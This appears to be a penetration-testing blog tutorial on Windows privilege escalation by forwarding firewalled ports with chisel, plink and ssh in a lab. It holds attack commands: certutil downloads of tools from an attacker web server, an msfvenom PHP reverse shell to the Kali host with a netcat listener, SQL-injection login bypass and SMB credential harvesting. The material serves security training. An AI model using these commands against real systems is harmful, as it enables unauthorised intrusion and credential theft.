Windows Privilege Escalation
Privilege Escalation is a technique used by hackers to gain elevated privileges on a system. For security experts, knowing about this is important because it helps them find, exploit and fix any security vulnerabilities in their Windows systems.
This post is part of my Windows Privilege Escalation series that I’ve been posting. Be sure to check out the previous one about “Unquoted Service Paths”.
What is Port Forwarding
Port forwarding is a technique used in networking to forward traffic from one network location to another. In penetration testing, it’s commonly used to forward ports from the victim machine to the attackers machine. This lets the attacker access resources on the victim’s computer directly from their own machine. These resources would typically be inaccessible to anyone on the network other than the victim.
In this post, I’ll be covering Local port forwarding. There are many reasons why a certain port could be blocked from the external network. Maybe smb is only meant to be accessed by computers in the internal network so port 445 is blocked. There might even a webpage running on the machine that isn’t ready to be on the external network yet so port 80 might be blocked. But once we get access to the machine, we can forward this port over and see what’s running on it.
Example: We manage to get an initial foothold leaving us with user level access to the machine. Enumerating the ports running locally on the machine shows port 80 running but our initial nmap scan didn’t show port 80. This means that a firewall was blocking our Kali machine from accessing port 80 running on the Windows machine. But now that we have access to the Windows machine, we can forward port 80 to our Kali and see what was running on port 80.
Port Forwarding for Privilege Escalation
Even if forwarding a port seems to show something important, it might not always lead to privilege escalation. Here are some ways you might be able to escalate privileges through different ports:
- Port 80: HTTP protocol used for web traffic. We can use port forwarding to forward HTTP traffic, allowing us to potentially access sensitive information such as credentials or configuration files. We might even be able to get RCE directly from the site if the site has vulnerabilities.
- Port 445: Server Message Block (SMB) is a protocol used for file sharing and remote administration. Forwarding this port to Kali allows us to access potentially sensitive files.
- Port 3389: Remote Desktop Protocol (RDP) is used for remote access to Windows machines. If we forward the port to Kali, we’ll be able to remotely access the machine and potentially escalate privileges (if we have the credentials for RDP).
Walk-through 1 (Chisel)
We’re going to go over three different ways to forward ports from Windows. First method is with the chisel tool, second method is with the plink tool and the third method is using ssh.
Tools used: chisel.exe
For this walk-through, lets start by enumerating the Windows machine.
We enumerate the Windows machine with nmap and find these ports open.
nmap 192.168.3.6 -Pn
Scenario: We manage to get an initial foothold through a vulnerability on port 445 leaving us with a user level shell as “user1”.
Typically, I like to bring winpeas.exe over to enumerate but for finding ports that are running locally, its faster to just do it manually like so:
netstat -ano
This output is interesting since port 8080 was not open during our initial nmap scan. This indicates that there is most likely a webpage on port 8080.
Our next objective should be to forward this port over so that we can see what’s running on it. To do this lets bring chisel.exe over
We first host python webserver in Kali:
python3 -m http.server 80
Then we use certutil.exe to transfer chisel:
certutil.exe -urlcache -f http://192.168.3.7/chisel64.exe chisel.exe
For chisel to work, we have to start a chisel server on our Kali like so:
chisel server -p [remote port] --reverse
This will listen for connections on port 53 from chisel. I chose 53 because its a commonly used port and there’s less chance it’ll be blocked.
On the Windows machine, we’ll execute chisel like this:
chisel.exe client [remote-host]:[remote-port] [local-port]:[local-host]:[local-port]
Breakdown of chisel.exe arguments:
- client – This will run chisel in client mode
- 192.168.3.7:53 – This is the Kali IP and port
- R:8080 – The port on the Kali host where the tunnel connection will be made. If the connection is successful, we should see the webpage running on 127.0.0.1:8080 ON KALI
- 127.0.0.1:8080 – This specifies what we’re actually forwarding. So if the http server was running internally on port 80 instead of port 8080, we would change this.
After running chisel on the Windows machine we see this back on our chisel server in Kali:
Now we can navigate to 127.0.0.1:8080 on our Kali and see what its running:
The internal port seems to be running a website that’s not finished yet. Looking around, there doesn’t seem to be anything interesting.
Lets try gobuster to brute force directories and see if we find anything.
gobuster dir -u http://127.0.0.1:8080/ -r /opt/SecLists/Discovery/Web-Content/common.txt
From our gobuster scan it seems like there’s an admin.php page. Going to admin.php shows us a login page which we are able to bypass using SQL Injection.
After poking around the parameters, it seems that we can choose a language using the language parameter. The page also lets Admins upload files to use in the parameter.
Before jumping into msfvenom, lets test if the parameter works. We’ll use a file with some text:
When we upload this test file to the page and navigate to it with the parameter, we can see that it works.
If the file has php code in it, it’ll execute it instead of showing it in the webpage.
To create a php reverse shell, we’ll use msfvenom. I set the reverse shell to use 443 for the connection this time because chisel is already using port 53.
msfvenom -p php/reverse_php LHOST=<KALI_IP> LPORT=443 -f raw > rev.php
Now we set up a listener on port 443
nc -lnvp 443
Then we upload the reverse shell file and execute it using the parameter
Back on our netcat listener, we have a reverse shell with SYSTEM privileges.
NOTE: We only got SYSTEM privileges because the website was running with SYSTEM privileges. If it was running as a service account then that’s who we would have gotten a shell as.
Walk-through 1.1 (Plink)
Instead of chisel, lets try a tool called Plink for the same scenario we went over above. Plink is a tool that is part of Putty and it can be used for port forwarding.
You can download Plink from here
After its downloaded on your Kali, copy it over to Windows
certutil.exe -urlcache -f http://<kali_ip>/plink.exe plink.exe
Plink uses ssh to forward ports so we need to edit the ssh file on Kali to allow connections as root.
On Kali: Open the file “/etc/ssh/sshd_config“
- Change this
- To this
SSH needs to be restarted for these configurations to be set. You can also check to see if ssh is running or not.
service ssh restart
service ssh status
The changes above will enable ssh connections to the Kali machine as the root user. Make sure the root password is secure or you’ll leave your attacker machine vulnerable.
Run Plink with these options. It will create an SSH connection to the Kali machine (192.168.3.7) and forward all traffic that is sent to port 8080 on the Windows machine to port 8080 on Kali at 192.168.3.7.
.\plink.exe -l root -pw <password> -R 8080:127.0.0.1:8080 192.168.3.7
Breakdown of the Plink.exe arguments:
- -l: This specifies which user ssh will connect with
- -pw: This is the password of the user we’re connecting with
- -R: The 8080 after “-R” is the port in Kali that the traffic will be forwarded to. The 127.0.0.1:8080 tells plink what we’re trying to forward from the Windows machine.
- 192.168.3.7: IP address of the Kali machine
Now if we navigate to 127.0.0.1 on our Kali machine, we’ll see the website that’s running.
Walk-through 2 (SSH)
We start off by enumerating the machine and see these ports open.
Scenario: This time we find a web-page on port 8080 that has an sql injection vulnerability. The sql injection vulnerability gave us credentials. Trying these credentials on SSH (port 22) gives us a shell as user1.
Just like we did in walk-through one, our next step is to enumerate the machine.
netstat -ano
We see that port 445 is running. Since we didn’t see this in nmap, there’s a good chance that a firewall was blocking our access to the port.
To forward this port and see what’s running on it, lets use ssh.
ssh -N -L 0.0.0.0:445:<WINDOWS_IP>:445 user1@<WINDOWS_IP>
Command Syntax:
- -N: This specifies to not execute any remote commands
- -L: Specifies to set up local port forwarding
- 0.0.0.0: The local Kali Ip to forward the port to to
- 445: The local Kali port to forward it to
- 192.168.3.6: Windows Ip
- user1: Username of the user in Windows
Now we can try to access port 445 on the Windows machine using user1’s credentials. Looking at the output, we can see that user1 has read permissions on the “archives” folder.
smbmap -H 0.0.0.0 -u '<username>' -p '<password_of_user>'
We can use smbclient to access the smb folder. Looking through the smb folder, we can see that there are archive files.
These commands will make it easier to download everything in smb at once
- recurse on: This will enable the “mget” command
- prompt off: This will stop smbclient from asking you questions for every file its installing
- mget *: This downloads all readable files
smbclient '//0.0.0.0/<smb_share_name>' -U '<user>' -p
recurse on
prompt off
mget *
In archive3.txt, we find an email that gives us Karen’s ssh credentials.
Trying to ssh with Karen works and gives us a shell as Karen who is part of the Administrators group.
Port Forwarding setup
This is pretty simple to replicate if you’re trying this on Windows. All we have to do is block an important port using the Windows Defender Firewall. This example will showcase how to block port 445.
First you have to create the smb share and share it on the network
Create a folder somewhere in your Windows machine. Right click that folder.
Go to Windows Defender Firewall and click “Inbound Rules”
Blocking a port
- Click on new rule on the top right, then click on Ports, and click next
- Then select TCP and type “445” where it says specific ports
- Select “Block the connection” and then click next
- Select all the checkboxes and click next
- Give it a name and click “Finish”
This will block Kali from seeing port 445 on the Windows machine.